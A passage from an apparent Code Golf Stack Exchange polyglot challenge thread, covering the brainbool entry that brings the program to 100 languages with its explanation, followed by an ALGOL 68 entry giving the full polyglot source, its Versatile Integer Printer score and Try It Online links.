Tcl, **60** in Moorhens, **61** in S.I.L.O.S, **62** in Grass, **63** in Brian & Chuck, **64** in Agony, **65** in ALGOL 68, **66** in Surface, **67** in C11, **68** in Python 1, **69** in rk-lang, **70** in Commercial, **71** in what, **72** in Fortran, **73** in Morse, **74** in Archway, **75** in C++11, **76** in Trefunge-98, **77** in C++14, **78** in dash, **79** in C++17, **80** in Klein 201, **81** in Klein 100, **82** in Brain-Flueue, **83** in Objeck, **84** in Klein 001, **85** in zkl, **86** in Miniflak, **87** in Alice, **88** in PingPong, **89** in gnuplot, **90** in RunR, **91** in Cood, **92** in C89, **93** in Set, **94** in Emotinomicon, **95** in Emoji, **96** in EmojiCoder, **97** in Cubically, **98** in Archway2, **99** in *99*. **100** in brainbool ## Verification [Try it online!](https://tio.run/##zVvbcttIer42Km@wNy2QYwAkARCUKPEsaWx549nxSrHsccokbUMgSMICAQ4AipRlunKVqhwuklQuUkklm6QqVXuRt8htnmKfYN9g8v3d4EESJXlyqApkAg30393/uf@/u31mx8OffsrQxU5C/3LghwlL3Dhhvci7cCODfXvJDmwvLpe2JYlDRWFv4njBgCVDl3nBeJKwvue7seTYCWuxcdqLQQWWYZFr9wSY1A8jRk3Y6NxnHnPGY3bm20PDYb4H2GfFCnNH4UcPreJwRJCJG40jF/eYBa7bY/HYdby@5/ARmTtL3CD2wiA2mOecs6nn@6zn@miwQsMpoDM2idc@iUENqRdKDJczvoH08i3rAiZwF4S7YzvihIdszLmwoH8a2eMxkJQy7BSIJ97IjZmXKDFz7dgjbqJJ7AY9zrPxks8hs4N1KtmFZzMb@E4i3nfsRgnIM3i/bOhGLrq0afBBZI@YOo28BCwglh6yE9eO2KvIdTWMAlG4sWOPgce1ITFYSCMkRIjBRdZoKEfHzxSITrQw7HEiZaLtV3/0nWQzo8my7@v4NWW5Lh39@im7ynaoDCzQGcQ7jlRbY80vLDY7HRe/mXVmDqK5hF4lcMVnZjhOTFsfA0E9AYKmTUUq6RclY@yvDcwaN2SxplACqgdpsOcB@6HAKXMmUeQCjxVT7XMQ7YfBAPwEsdEkIH4EbLcIEThh0IsLzL0A18JAyCiccg6/GnoQWkwisc/AINsh3gtj4AyFOUD3Uo4uxo1Df8Lh0DJOSAHBFTSlHp/32Q@sb3s@NUE9dSWwjtx44ifUZhL0SPIjL3B7Blug4YQ9AhqFFxjORqf8A@xntGZ1HCkAQxAhJ5WqfvdX/9AbDNDPoeOEUS9V1x9YL3QmIyBsc2RtqCIpbBjYPkcLcAUaXTTHABe27/XshIYPLtMhOBJ81Gk48XssxIDR1INpDe0LmGO/7zqJK5Q8nCTAscBG9rnwFZ7QXBA@ss8gWD4AH5uTrbODJ5CS4wqV0UeTpF9h@viIKbH5Tt2vqftbHRe4aYaWy5rmoA59M3L8E96U@xTnh8OVPEl7Xnkh2ZE/Hk7gNVATxGP4k4iY6dggJya3ksD/FdgZZzT3RVB1bqRTV4lcdgbLXhDGdUToALXXyXLTHlYyXcBdVzG3t6Zh0E4oWRLfchN@OMXAHDdyotDpgAa3BzaGSlKCDgVBYkT@5Tpp5wE0nXo7c1lFP/MgHdIDOJtUGGs0Any7JGDQm5DemlGM7Ev04ggnvZIk8/oQ8gh6G10yxyVjgFW4wtPRIBOuGLEHPQr7rKiXyuUHhJ9E5qH@Ft7jk3mvjIn4G2I@ZH13ynw7GEzsARQ5DNDEdhx3nKQWBEriBDZy0xHyj3rq1Y14KGUPbo7NvVvq79fGIO8jpJf6aJvUHowagdW6DytndjTglsh6XgR78S9vjg6AixuDyx8I5BoCH@Q7UFhMTVAyd@Y6kwTmBkWeDj1nCN0l7AJhsMI73hwen9ZHh8vR@8uhCRmr9bgkGebyE6FxZxc6SfR2P/D61FXr2gcu/PUP9/dsx6MNHYdLFOGh1r4apm1A91KmYT4/pVgC7m8xeXPLWgYYS36Cwd/RxBS5P04gMOizNwgIxA6WE/@aZ/TiQMFU4cUeuE5TOOn6q@fHNB@8cUUUA76LuWzdmYeIadA8naKpYiEEyXWGIdMDpqQ4qDKfUT8CLTOOHF7Q18IIWTPAJ5X4xasWHX0UMdrNCZW1bsPxIZUCa8tyt4A5zI@hQsHE9/EyCbiJqa52BV1z3Dg2YDDgrUHxCLCT8642vw6YDKNwyty5Vlc2DfczBfJkcubN/h9KxCG8xB1UrYmBf/oaOdwCXAhCllPW3YLgvHsSjsjPszecYsL32whzQx/zgTS@TIbwdLrDZLsZjl2gdM2TKMATQbqq1XlIpyjGx9AL1Ctla2tLqSktpYDSPkoNKu1TKY/SPi/pvERwBpV4iwIvUW2bt6BvXWXeXvQ807ok2hnFrZ@8sWq3a7XtbsFuW@mzRE8NkwnmDkDr9EA/itZsUlHT5NYUhBpnfUmQ/wrC@R4hH/veo5m4jwBxlTpIy8E6kiyYsX3dl8qrmpKIVi/MEdhnjC83RxHyele8AQK485B0dFV6XzSs8rUukPfcbtn34iG/XQO9hdbtGt46Hp31@W0DQC0NAxBTUJZEfOGujCKRMITmTznYKAxCgQr45QW2@ZI/DMwem/C57qSvIXPmwuYHrnnmBVR@AEyvVjhk/@zMuwsUfCHUF88NYNHkbBPbEJ4Nb83j7Brjk0mU@G4vff7nn/QggNviGdqXMQL682XhPfhGotL7d0orbUov/LZZsh8nPtK9B/pwbAribX9Z2NxXjb10of6QbMCzPGDqgzaKcODqbus3TMOf9NzFc3OnnIfXwwHROvBGXHJ4UmzDPc8dzW8EM6I9JT2RH9o9UySinrsSpWC6O7MHYXBprs1qRnT2FTgu4g22yjyT4SSZiDslmw8JzRvT7z5jTCGLZfvMcs0wts@8OzhISOzepbTCFshN633fPhfF91TcTKogJvIGyGwXz7vAEO0hIB/bjmtO@eNO/xFM4jEXJi/d01/ki/tdIF7gYGYNVoW7AEGmz28/R@W4IjiwA0KVFnv0NRZ5N5jq22eXNJUNf77@0ICDfJ7p8B1NJ58vbjM9XOViq2Wl8fju9o6Ttq9WN7cWK1C8AydE2uw@NB9hUvFGtq@XemvFO/3rYupflTa5H/vCRlDg2zEUJEnZ7F5ALPx2n9LSPOFMfDtale5R2RU6i5T7rqxt1WbsOaHvpZq5eNkwQEBh3s2QaNUNrSvy26opvaUu8ymiHpp4v9zrN0MnoWTpDtX5Co8k8hTKBNd0wQjvYpcTTul3p8EOwwtX3DdPQZ82YvUVHkf3uTIg1r7dvOc8pKG0DsRvmz3h@UasEsff@L3GXoRhhEQ1ZiWjeK94Nqpx7PlhzE75/T5eIEWPY3HfrMDrbPPsQHeGwqyW5c3NNiLFZzR2yO93CNf2B6G/WxmYNm53asAk6pNjT59f69SWTsmyHnRKy/AlDKz0eac3P8e/h5SDFkDgvj2KY5bFzYpypwdLI/67CUSYTwtem4l7VqwsNSuK3XtVqsYOI2c4tS/vhXpo5riLzYuZo0aL9TwQ/p8Ns3P/ML2v81K3ut27v9tr4j33Xbhpfr8lVFYqWj@zhVUsfr3P6vsTd@Ju9CHHZx9dKM5XB8X3IlVMyaixT@f@vX1@Fdo0i9PbvT7H9j3Y@YMxTI2dIIg@CR9IAAbBZHxNluvZwyR4@YBNPAnD3s/X1KXXqTwcCtXYqZs8gMXRKERyGo4QEgRfIdk0VOfbiuJ@TbL8y6rnj94TxBPRvf0uF3oQjCK4gLC881hH9LKRr6kjKd2P6jJVqVaRUwVuckn3u6x2k4c8C8MNIRtfG3nJN8CWK9JxId25wzcvSvdp4uVmaOZ54EQuX59erLixDK2aT0YI85IwMhiHU1U7n9c0STSisGEQAGwBxbejaEdA7HTFDPFbwmG9Pmu3WfZqVivWrDlrMrkms25X9MrXpo9mY76P9FI0bWftbjOr6LqSVTpBjRUVDur68OIbQe1rcH2PPwSeK9JZYI/4JgSVF5TWxU4Hgiva3hraQQ@J7evA44uJThiJ9XqxKfSKVg3@47e9dNdv4ILIkRfDZAcB7VSHI3cYTvfFuOnoh@OxTbuG1AdyKV8sN@pPDlk89RJnKDb7EPu9fvaqku7UpPvneDkhNVnDQggVVX3gYCdCaAKbXugKfUsHXrZaEIWAejIK2NTrJcPYQKQUOC7fCVrsTgCTiMCCJApJXwvsOeu5lNjx1dKPE8jWD8NzvkhLmPzHb8X@FCo9UiEqL4bnG6ZrIzI4OItvCjlOOAHWi04@uVGYgqjEZKQFEzIzWIsrvmvMGdp84wyaqC@2jWgYsXX05PCU6UdMoQ1/2kWqe301e/jylz@0i93mFzYy3f/8E5MWrjnf5G/0PSuWC2wBUp@TXq1XF1G9qlWYnJ3JKVm0tcx3UpdKJayJqVTm4lpsA434rjTXO3fKt4H4Xl9AWQ9t9wYx7AOvGu9aGE0zq058b@QlTD9NWJlORcA92iiJfWxG5wxoS4OaZGfsMxuSrugOs8pFvAmG@LSLNmp@u1hz215fGzWfumcTvo5wUTJK201OTvZ9s9HipcjthbTP2n7XmXbNeMGVTmf2TbE0A9vCCOCPTbKco18/vcoareLnzzECJ1meK3W@dk3mnb06eX5ydPrq8NXrU7BxLqjMPAujkb1yEaQEYx8R7TD0@cY1@BF5bvyw23jE/Yb0KAVUVZa1WQNxBIOHerR0LClbZV3OiqKo455kWXejMnUffY@lro6dcGmnglXidTdXWCgAMQ82OYFfXSAPxbna4K44OTJrgiAdBHHwJcLLt02EXa/l8ILh@/QOpqdkrENxUldQm4GIVgGc4i1gBJIbiZj/L2E@xjzyMOYE9RDmAJYeGn1t4GeHz79//fLo9thrw6Ywt0CWGrJ2VuhohkwEfrDPNZz2oxd6E6bnCRaOAX5/KDa5bH/l2uLlfhVpUp8csw/bJqPgq3kxGTcjP2KwQz@GI@314BnOLhNyLPCoYotquU8lZ8AAYznPFZgsEWzcvL2vDMcxRczmfBCNsxyO9xxvOprRcc3f/dU/iOMYnQTlP0vLfZT/UpTfmcSg2/v3Ascla4gtPzw/YTFmK0H4yJ6t0UQTBk1IXoB43xuBgxecIQQukF3Ru@pHbf8AfkIIYCZ5PnJ2fDw36qrDJBnXTJPmdyTefYMv8LszyAG@0kCqav44odMx8M/mbnl3xzKBpH6x6JBvug5o0Vl0qGk1qJB04Y2bH84c1mg0mBwjTnSbu3XBSDNrv9uWPywRzQJWEqFAm6ENmqxaoK6VNlOzdt7SqClZoWIprFvHLC/kgolC5QWAaPQ5SPkhYyYKU1bR/q07S7hTvVyEOIgvgpCNiE/8jNSiIx0dib41Wbqlu6vFZdpUW9NmY10M8hsCOyWwmrxJdRg05J83aE6A8p@LcrtT1L90N53vWerO4e1jPOrNQzhECzs4DULabHgGXJlaMkvbprWrrdmJnHYFbMkqPqNL2AHsynG9j@E4Pnxy9Py745PTW8dQOKRyE0xhSquR7@hGod1dFpQbOr9g6bfPzNMX3z5bMHIdq1WkTxCrcP8mmptGu4npHaO/Eev6t8fmFbcGsopf2zHfhNaf8Tz3du@rWnMN8IlYhLw1qqpdzdvdRqsTZG4N/3nTobGMkaNzYih1Yn5kTGEbPM7zxW7Fq/Ac@nLPaRg9IQjv0/q5mMVeBx06KbXMnnth0ikJyVjtgshZtXENW02c3BE8WAwPx5F@yVoyxl2N5Ui3VpTXEREpdrjE5FrLJbOJ5mOR6vGDb3aAKD/yHAEdc28rEkJ@SgspwfNklUUgM6F1FJ4sXfLEAHa/XKHteXzx3o4uUwqWNafuyNNfLfAhL7A6igCvFEYJ8pF46HtndbvZnrHlRv19pxSMeOx7iUrHA2YGJVygRtWIAKvhu3S6oFHtpkcZ2OLEQZ4fWjiZgF8n4Zitktyn7qL0EnkOezpB59AAl303GQGuzx8vXXL5Lvt1qKMx@KgskGhjFDWlwRj1yhjdGLqznjfAtKFqBXiYbyxrddzB1vJIThU4VcGqX9LS8zpjftYRjTWO2W3b8IKeO1OVqaLVusQdfFemby4UTb6lA/ycSHpopHfzwMjC9u0kNcLlYYub9l2tLu36utlUq8YwlugMBUJ1jHiaRN@jiAlR7Y/sMVMnAUUvMTMYf1U7alCIk0hjeosmpykLWD7Pg3w8eIXBeMs@L3k@nVJU6WyqajYhZ/oaBz16fPLGrG0ZRhdlPojGspSfP0HsQJmtJiEiRJMa7xazKf5qhNEU6QxhJJ5ZPqxEyXUEqI3V3JAHQ26A4AWnmrUes5UjWFmg4Gq1Wkulcd27VRnU4vbEYpjodoPXWoSP4G@6Vw6u0RlqOh2FtM2DQzn4lRsEsFcVOjOCdTJ7AiWLtMLiQH9heexyDcE/TLfeb87ZR8qVHyIyyZp1niDW55ieP3RYJ@n0OwHN0fVL8xemYdav1KzfvDQRVmktNTtsWvntXD6fDXJqNqDA4vFjyivnWcQt7w3ZkGcA0rO@VocyI85pZoN61m6o2V6zlOMt8JrPa1do8CU2jausPTezjxEmFPAlEqapZmONbKFoGNYc@JF5ZM0CFOZKlZk8o9OrNHzWy@cJByP7nhD4YnZO83yO6JyaPJOtp@GqORgtfMg1mfz0U8baRea0v7uthvul7a1chmUOZDPXefr27ZOLutK2@yXjx@7J@cnJH2sdVck8OZatHbnOcqaUMXPFz3um@eHDBwRyrN0yWkZXa@tKt6229vZy9cJuJVc4KFhKoZ5hvlW0LE0tlbTTzk5Q9zxvHPd6@IVDOt6GUKZGonmES7VOFKW8rZy@o2NZ@1v44/9wLV/pvsW/pJ85yO1rS2PqjzMp03oEXdre3Tp4BFTdPL9qtQMmZb5ImUsp86HxQcogXs20Wt35PK@3jTxsLq/nG@1Gw2i1Zi2922pLmSspM5tLmZJMTMpJmeas8ZJ31n7aEr3mfwTDv8ezoXfb45Pvjw5Pjwqlhp4pPTt8Uiidvv42Y@GtvHqlym16fXl0@PT49atCSbT65fMfjl6f4HvcbR0c5A1d1w@MVhdYzL7Jt/LNJEnY2/c5WMnT1uy1qTcw6PdS5iWH1DtAo6MBfud49/jgs5RpZ9rqfmm/VPSLF0Xr3Dp/ER4v/7EXx8eo8GbFj2FUHBaHVs@yrFnRfV28LF7OiqPw2Oqh6OKvOELRK/ZnxUExKAaWtd7RPf9Gx@GL4xBdhWiWzIoJ9Vrs4zk4Pn6BzvoY@CP@vGKREJwVL/Cv6Fv8evce@W6x05HaUNhueXdc2v2xzd1/udptuzMv6cqsoHTa1WpV6dYzZtzpmELr5RJUliDm8/fvnx6@Onz/3qTMdtbI5g/y@gGuZivfSB/7mV6LWGg0tjqSok7fvHlDvzfTi6ko8cKbKXuTXngz5b2KHIYHKeib1fPNFNfFHZ1cL7Brl6q2y92ruaZpjzpKXRGUqKqLkEaVrc6s1GclmUcKVbgKa5tmo92y1mrtlvG@W9F0tUi1O9o7q9FIq0paGMnKTA4jhV3NxZ96NW@o/NLoT9PoY3pvaSqqtTLeZlfqrKE2VPqGT9Tqat6iIoe7Qqmtal1tPhffcFe1huizpYFASs7@j/6FMYvHTMnMMzQ9BGynrCH1c7WdXbWSr6Z/zS0Qo8rbyjZolBVbabcPctu5vZ32fjfXzamNnJHrtLqz9UtTMgwqt9CappUh7kkZo/5StkqyQlpUpwXP0HcNH6nYdrWuqDlxsdzyqljVfC5/0M5Vq2K0XO7zlobm6FzGlYGmMZU1Wo2l@FeaoLXwu2Ipg1GeX0EjRB0mGDVdyex0ZsUih6@fNbNXGXte592zubyAThWLd68qdb7ELV/JWTtqW115LmevzuY0C@csjc@f5Z16PbcjynuVOty@lUtriqhJi6hwY9vhFgZPT5qkgMUaiGqeuQMvkDLja6qdL5fLZgn32Te7R6WZVKelYLHuLOuy0HRWqfIOM3HMqhICvTMIesr2igjkfd@OWNjvb4nviFiR@7sIGlzfp0UUCugQ1/i9KZKILSkDj4BwBtW4Rie2O3Hd6WQydZfXEy@u2R8/Ih/h1@9/83d/it9v8fsb8fybf6@W6f773/z1v/3un/5FwvMvfv@bv/3X3//mL/8ev39Mf39/8ydJRNoWK@8tCpb0ghYoqpbYrvHoM0qRW5X@EPSNJs6Qtte8hGZYxL1FySBulErVSrlS3S5VCpVqZads7ZbLBatUsPYqe9ViAZNrxdqtlKtWobJT3d7Z2akWmFUqV/ekjBv0vL5pYrKyZJnxAtIrOijZoCOloTFsYRrsuX1El4/YTO1pjzK9xQc2qTB5u9IpIqPjAbDKNHZFbldlMfIgoK4WCxN4m/L@pCLv7sm1HJ7yvryNIpf2TGVFBYopKx1Z1trV7r68V5ZrmNt15bG1z@S9KiLjvT1Zq8vuoCzLu6y0J8suAtm3JE0m1@fAesGOJT0MLtowGH66LlH9uCkwUuWqyrjIqx1ZGITQLkVVlL2SomhKHZ1syes6qdWJPFCXEofgFu61HrnJJArUqg4PwvSqVp8LNP5gDY/oHMG3HVEAzIdB9rtblekzQBpqlbpvlc9ytYKlFw4kod67lpSZSz06CLZTZfVqnWILuNxGS8oqhIqyLWX07XAnzGSzWcQmr1rytnxsNMw0zGiZPMboUNhBE76xiF9azJQilzYcevRfG8W8USkTLQMWZ/L/zcvACE30KdXJX8mZ1ENe0szXEQg1vmT4KSF2crVcxE7/20TtBXHXrp3yI7LtLtO@/NrzryrbeovnAUgG5wy8nY9Pq@/23lXevXh9/Pr42UGtUqvAiWXiz1pYtr4E39UztbGyvaNsI7ppZgRx1p6WaZX2jNi@zHTTbVF1Z09jeOMuqmRl@jQPL6fh29P0WmnD@/RixMM7IFL5RW8w8Eq/ePHhc9Y0FYUxK7v7RW@Ifw3cnhwLEavyblnWaDs5fvf@3fsMHBGTS2WoXd5EAG2af1yCWVeru5XdjPSTad63joPaZSbUd5EkTEabUqHDyHthU5oYLNMhFF5MPrnR0uoZmT1l@MPW9W/cFVz7xP9fLb5JhBe3DyrY0cAp8OV9lqMT0e0uXMJia0ilWtqd0JabGcKGWLEuNp2oC6@@LGIUMlskpUXxkTIf1WtadeY1qDM8kTClI9C1aJFvUpFWSTgWXlerS@u7NByTFlqv4bLWPp8X4HOBlqDHGfUE2aJu@Qr0RrSb7ahpa@0GQLvYpey7U1RSMr@GDGTN6rKHAvvZZNxoj9xQW9DEUVhVpt9XophLuaQwqktEdm5cl36lOtoV5az1L6PHj5134/aoW9dGzYSe@fwIju9c9QRILmmOmrpVHwPZetLO571uc6T9Sh1z5EfNIoAxNvUca1dLSQfNVFyxVvjUDvQvQbfwrB3krW5hUsi9bX4q2M1iYYYf2FbwCz@CeQtWqknzUz6o2w38KH2@xgk4/rxdv755hibnqt/81La7zaJW99Ewn38GYoBn3Pbz@a6GwX1U3m5Y9x8/tvN@a1b3dV0jqHfb@8/aCQrdfJPea6rdmO1/ak/Qvqbi2cQwvgbk0e66DNAf8KuDx0J8K9QFjjNCbwb0Rs1m7u1@7m2uubX1qT3TR92CYH@tuBI8IT8j5Nd1RM29XVcszhIeE6ryN17tGyMXM7kA7QOTC@O1lgLD3FvUjFfWMP8v "Bash – Try It Online") Languages not available on TIO: * Japt, 7 [online](http://ethproductions.github.io/japt/?v=1.3.0&code=&input=). * Reng, 19 [online](http://jsfiddle.net/Conor_OBrien/avnLdwtq). * Deadfish~, 48 [local](http://github.com/craigmbooth/deadfish). * Moorhens, 60 [local](http://raw.githubusercontent.com/Wheatwizard/Moorhen/ac540e857ec546442a21e0a242c5b184b8504c24/moorhens.py). use moorhens.py from the v2.0-dev branch * Morse, 73 [local](https://github.com/aaronryank/c-prohackr112/blob/master/morse.c) * Archway, 74 [local](https://github.com/graue/esofiles/blob/master/archway/impl/archway.c) * Trefunge-98, 76 [local](https://pypi.python.org/pypi/PyFunge). Use `-d 3 -v 98` for Trefunge-98. * Objeck, 83 [local](http://www.objeck.org/downloads/) * zkl, 85 [local](http://www.zenkinetic.com/zklDownloads.html) * PingPong, 88 [local](https://github.com/graue/esofiles/blob/master/pingpong/www/pingpong.zip) * RunR, 90 [local](http://www.mediafire.com/?ukd008kyd945fy0) * Cood, 91 [online](https://jesobreira.github.io/cood/) * Set, 93 [online](https://avellar.ml/set-lang) * Emotinomicon, 94 [online](http://conorobrien-foxx.github.io/Emotinomicon/int.html) * EmojiCoder, 96 [online](http://sarahnathanson.github.io/EmojiCoder/) * Archway2, 98 [local](https://github.com/graue/esofiles/blob/master/archway/impl/archway2.c) *I can not test Archway2 because I don't have the proper C compiler, however stasoid has confirmed it works in archway2* ## Explanation I can't believe we've made it to 100 languages. I would just like to take the time to thank everyone thats been involved in this process. Its been a fun ride and I hope to add a 100 more with you guys. Brainbool has been in my eye for a while. However since brainbool can only output two numbers, `1` and `0` I have not been able to add it until now (I wasn't around for 10 and 11). Brainbool is just like brainfuck, except instead of wrapping at 256 it wraps at 2. Brainbool also does not have a `-` because it is redundant with the `+`. Our brainbool code to output 100 is fairly simple: ``` +.+.. ``` In order to mask the outputs for brainfuck we add a loop and a minus: ``` +-[.+..] ``` Now all thats needed is to find a place for the code to go. My place of choice was the first `+` at the top level of the brainfuck code on line 8. To substitute in the plus we added our code and a `+-+` which acts as a `+` in brainfuck and a noop in brainbool. ``` +-[.+..]+-+ ``` ### Cubix I put my code before the Cubix capsule causing a mirror to move into the path of the pointer. In order to fix this I moved the capsule a couple of steps forward in front of the offending mirror and all was well. Surprisingly nothing else broke not even the notoious incident. [Answer] # 65. [ALGOL 68 (Genie)](https://jmvdveer.home.xs4all.nl/algol.html), 1634 bytes ``` #16 "(}+?23!@)-("//*\Dv;'[af2.q]PkPPX'#CO)"14";n4 #/*0|7//```"` [-'][!(>77*,;68*,@;'1,@10␉␉11)(22)S␉␉(1 P''53'S^'q #>␉ # 36!@␉` # #_>++++.>.}+? #`<` #<]}} +<[<.>>-]>[ #{ #z} # #=x<R+++++[D>+++++++59L+++<-][pPLEASE,2<-#2DO,2SUB#1<-#52DO,2SUB#2<-#32DOREADOUT,2PLEASEGIVEUPFACiiipsddsd4O6O@oh]>@@+.---@.>][ #x%+>+=ttt Z_*. #D>xU/-<+++L #R+.----\).>]| #[#[(?2?20l0v0x1k1kMoOMoOMoOMoOMOO0l0ix0jor0h0h1d111x0eU0yx0y0moO1d0y0e0e00m1d0i0fx0g0n0n11MoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOmOoMOo0moo0n0tx0t0moO0f0t0gOOM0g0f0h0j0j0i0001k1x0vx0v0l111111^_00) [ "]56p26q[puts 59][exit]" ,'\[' ];#/s\\/;print"24";exit}}__DATA__/ # ###x<$+@+-@@@@=>+<@@@=>+<?#d>+.--. # '(((p\';a=a;case $argv[1]+${a:u} in *1*)echo 50;;*A)echo 54;;*)echo 58;;esac;exit;';print((eval("1\x2f2")and 9or 13)-(0and 4)^1<<(65)>>62)or"'x"or'{}{}{}{}({}<(((((()()())){}{})){}{})>){(<{}(({}){})>)}{}({}())wWWWwWWWWwvwWWwWWWwvwWWWwWWWWWWWWwWWWWwWWWWWWWwWWWWWWWW li ha '#}#(prin 45)(bye)46(8+9+9+9+9+=!)((("'3)3)3)"' __DATA__=1#"'x" #.;R"12"' ###;console.log 39 """" =begin <>{nd #sseeeemPaeueewuuweeeeeeeeeeCis:ajjap*///;.int 2298589328,898451655,12,178790,1018168591,84934449,12597/* #define p sizeof'p'-1?"38":"37" #include<stdio.h> main ( ){puts(p);}/* print 61 #} disp 49; #{ }<> $'main'3 #-3o4o#$$$ #<T>"3"O.s =end """#" #} #s|o51~nJ;#:p'34'3\=#print (17)#>27.say#]#print(47)#]#echo 21# xi xi xi xi xi xi xi xi xi xi xi xi xi xi xi xi xi xi xi xi xi xi xi xi xi xi xi xi xi xi ax fwwvwWWWwWWWWwvwWWwWWWwvwWWwWWWwvwWWwWWWwvwWWwwwwwwwwwwwWWWwWWWWWwWWWWWWWwWWWWWWWWWwWWWWWWWWWWWWWWWwWWWWWWWWWWWWwvm # sss8␛dggi2␛`|$// ''25 16*///~-<~-<~-<<<~-XCOprint("65")#s^_^_2229996# ``` VIP score ([Versatile Integer Printer](http://codegolf.stackexchange.com/questions/65641/the-versatile-integer-printer)): .005949 (to improve, next entry should be no more than 1710 bytes) [Try it online!](https://tio.run/nexus/bash#zTrLcttIkufGL/SlDLINgCRepChLAkmLtqVZd9strSU/wiQtl8AiCQuvBkCRskzHXndjD3Ofyx7nP@a6XzE/0ptZBb5Eyu6O2I1YSAIKqKzMrHxVZZZ@L@BFTiP/ZuhHGclYmpF@4l2zxCBPbsgh9dJ6tSZJHCqJ@mPXC4ckGzHihfE4IwPPZ6nk0oy0SJxjMbBBCiRhtC/ApEGUEBxCgiufeMSNY3Lp05HhEt/jsGkUYH/GkjhhcE9JyFifpDFzvYHncjqETTMWpl4Upgbx3Csy8Xyf9JkPA5bE3QogI@N05ZMgZUj9SCJwufEdVhdvRQYwIZtPl8U04dONSMznPp/1JKFxDExKBXIGjGdewFLiZUpKGE09lCEMSVnY55KKF9KNCA1XZ0muPUoo8DtOOO6UJRlMz@B4yYglDFBSJD5MaEDUSeJlIAIUZJucMpqQ84QxDaiAAljq0hj4WCMJxCKkkOFEDK6oRkM5OjlWQGFihEHjTCoktfN//VmixGiS4oUDf01ZdqSjX5@R22IX28AFIAOlxolKNdL8SlKz22XwN7UvzWEykwCrBFLxiRnFmQmYaZIBe8uWfl01Yn@FLGnc0cSKEQmoPuiCPA/JmwqflztOEgZcLEVKr2DKfhQOQZow1WQcojRCsmuBAtwo7KcVwq5BZlEoNBRNuHzPRx6oLEWF0EsQD3VR8sIBuDjBBcDycnnO6aaRP@ZwMDLN0PxAJjAUMT4fkDdkQD0fh0A/ohJcJywd@xmOGYd91HvghaxvkDkbbtRHoCC6BnIUkPIP4DPBiqdxpgAY1BDxqWLXP//6t/5wCHjarhsl/dxY35B@5I4DYJhyZikYIpprFFKfswVwFaQuhgOBa@p7fZoh@fAmJ8GZ4FQn0djvkwgIJhMPHGtEr8EZBwPmZkyYeDTOgMcKCeiViA@esFuYeEAvQbGcAKfNp62Tw6egJZcJg9GDcTbYI3p8RJTU/KA@PlAfP@gy4E0ztFLRNIcOWJtR4p/gTfmW4bxpL/WJ1nPuRehFfjwaQ8yAnjCNIZokKEyXwnRSDCoZxLwKueSC5pEIDJ276IQpCSOX4NfziXEbETaA43X02xzDUqdzuHUTY/0VCwPrBCPL0o0g4UcTIMx5w8AJNh0icTqkQCrLJ9QWExIU@Zf1qV2FYOmI7ZKRPf3SA@2gHUCoyZWxMkcAr1UFDGAT2ltxioDeABZXhOilJok3ACUHYLfJDXEZOgN4BRNxDomMuWGkHthRNCCWXq3Xv6P8LDHb@nuT6p/Nb@oYJ39HzW0yYBPi03A4pkMw5CiEIdR1WZzlHgQzSTPwkbthkH/U85hupCOpeHiXNo9tebRfoYHRR2gvj9AUzR4EFYCodR@8nNBkyD2R9L0E/MW/uUsdAK7vEJc/IsgaAx/le1iYL0xgZGzK3HEG7gaGPBl57ghsF7kLhcOK6HiXPHxapQ4hRx8sSCMzduthVTLMxSdk414UOmp0Ew9EfUTVWvvAlb/64duYaRpsQRwtWIQItfLVMKkBtpcLDVbzM9xJQPibL93csxbbi4U8QcA/48KUsN/GoDCwZ28YIggNF8v@SmT00lCBpcJLPZA6LuBo6@fPT3A9eMvEHgbkLtay1WAewY4GhucLNHbMlSAxdxQRPSRKzoMq8/X0E7BlponLG/rKJkLWDJCTivLiXXNEn8S@7O6CSlqbcJykUiEdWe5VYA3zUzChcOz78DIOuYupTLsFW3NZmhrgMCBbA3cjwJ1cZtpsHTAbJdGEsJnmKNvI/UmFPB1fetP/hxpxkS9xh1mtqIF/@iN62ACcK0KWc9FtQAjhnQN7L2DTQ154uBYNYIu03Drz3fYUN4ldSY5vslEU1tajibzsqYrd2hszgMXFiG@2r6PyKio@4KUXXkWoJTOYty4sw66voYDd/ubIgZeO@G0NdIOtzR4@Og0uB/y2BSBEK7hjbLwjiMJIEAcJeSE1X/GHARFzGwfrgWmN/BMGdj5k@n7NvPRC85IN7oM8fvLkOYcZXF569wGBGDCfmT@3gCXjy21Sgv3IaGPhImtyPh8nma/3zQyf7L//rQ/y3tTGiN6ksIO9WjQuQjZBzeiDe5WTD8UXftuuyE9jH7Kb7@BwKe5aqb9obMd1QF4xsHbYX4Q8qQFOfR98CEQGvr1pzuAJ/rjP5s/tSLkM19c/MTr0Ah1sedewuALhFdd03Fndh@XOIi7Q4GY/8SPaN0X65bGlRoXs2ZQOo/DGXInmRnL5B1idr7NkmW9lo3E2FndMsr6nOy/Gv2@5YA5p1dtP7KP8cQ88MLF7n@0Kt0kguujHPr0yL7F5MYDm9qmKySTeEDK6@fM@sLdnMXWZOUnxsdVsXsLuyIc8@ezX12en37QfjhC2TYkv7lvRPQ9dWE/C7PuYYJY@v/0Zw@N24FIfrK8mbA/LHPqKmLw7gvXp5Q3m5aM/b0NIdVguEz1aJh/LKkoc3z/IdbcPEnUWPs6NID1k31t1YOnwAphutb/SvNcmvEhfpjipMKQB5nRbYg@9pkR3fZqCaWS5dNk1aIPfvmWquEK4aDPL1rcM9Q5T8zTzvkxlOTL23AhW75irGV98eLlvUbu7DViiwfoZvy2H4ltur88Y7eNS@/WbBhu5GSYI95jMH4hGYm@O2c@KXRjRfUJzown@3bvEj6JrJu7bV6HPW7n6A9FG97lJwP5yc3jf/Z61vvVSiDVw2x4Fr7Zylbn@1u8YmqIEkrOUVA3rm@rZasxnxnPjhXFinJEzz4/Sb8oDUtM0FfftprwEvUw8Guou2vBqe/uwrYzxFY20@f0eBVN/GPm7e0OTwm0TSGxxX/FK3iK1Tit5ARK@eUlecEoXNd0CROaE8UR7njqQAqb/4wA8OIsSg3A4VaXlsqZJYhDawjAEsDkUr6thaUOU7FICTplxWG9AOh1SvJ0eWAf2jDSJfCCTXk9g5Un20TTmBbFXYminSHvNovLunVJUuuEBsRQOyiC32g5K1@AGHn8IPpdTJyENeDUF2/OZOqJkAx6DdboRDfuwU3kdejwrcqNEFB5EdYvvCv/x935evhwymGTgpdQHQWDBPQrYKJo8FnRz6u04plj@RBywNvoib9Kftkk68TJ3JKqW4NCvj8/38pJTXvyHl1PcoqxwIZQKXQPggWZCaYKbfsSEH@SEF6Pmk4IoOQ5CMvH62Sg1wPRDl/GS1rzMApwkCBZmSYR@VCHPSZ/hos3Tvk9j0K0fRVc820RO/vF3UWi